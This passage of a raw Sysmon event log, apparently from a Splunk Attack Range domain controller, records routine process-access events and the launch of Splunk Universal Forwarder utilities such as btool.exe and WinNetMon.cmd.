Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005190Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.164{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005189Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.164{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005188Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.149{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005187Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.149{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005186Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.149{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005185Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.149{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005184Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.149{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005183Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.149{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005182Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.149{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005181Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.149{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-2951-5F80-1D01-000000007F01}1288C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005180Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.149{A5F018FF-294F-5F80-1601-000000007F01}44924100C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe{A5F018FF-2951-5F80-1D01-000000007F01}1288C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4022c|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+403f8|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+404c7|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+40fee|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+13671|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+181c6|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+1adfc|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4cf68|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005179Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.163{A5F018FF-2951-5F80-1D01-000000007F01}1288C:\Program Files\SplunkUniversalForwarder\bin\btool.exe8.0.2btoolsplunk ApplicationSplunk Inc.btool.exe"C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-regex --log-warningsC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B{A5F018FF-294F-5F80-1601-000000007F01}4492C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt 10341000x80000000000000005178Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.118{A5F018FF-2950-5F80-1C01-000000007F01}12921272C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e675|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e1a6|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f344c|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f2a91|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+19fdb50|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005378Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.914{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2952-5F80-2B01-000000007F01}4168C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005377Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.914{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005376Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.914{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005375Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.914{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005374Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.914{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005373Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.914{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005372Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.914{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005371Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.914{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005370Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.914{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005369Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.914{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005368Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.914{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-2952-5F80-2B01-000000007F01}4168C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005367Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.914{A5F018FF-294E-5F80-0501-000000007F01}35041608C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2952-5F80-2B01-000000007F01}4168C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7d35e7|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7cdcb9|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca4ec|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca0a3|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7c9f0d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6d7908|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6de2ee|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b29fa|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b4274|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e42dc|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ec682|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e9959|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+d7f31|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005366Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:46.916{A5F018FF-2952-5F80-2B01-000000007F01}4168C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinNetMon.cmd" --scheme"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 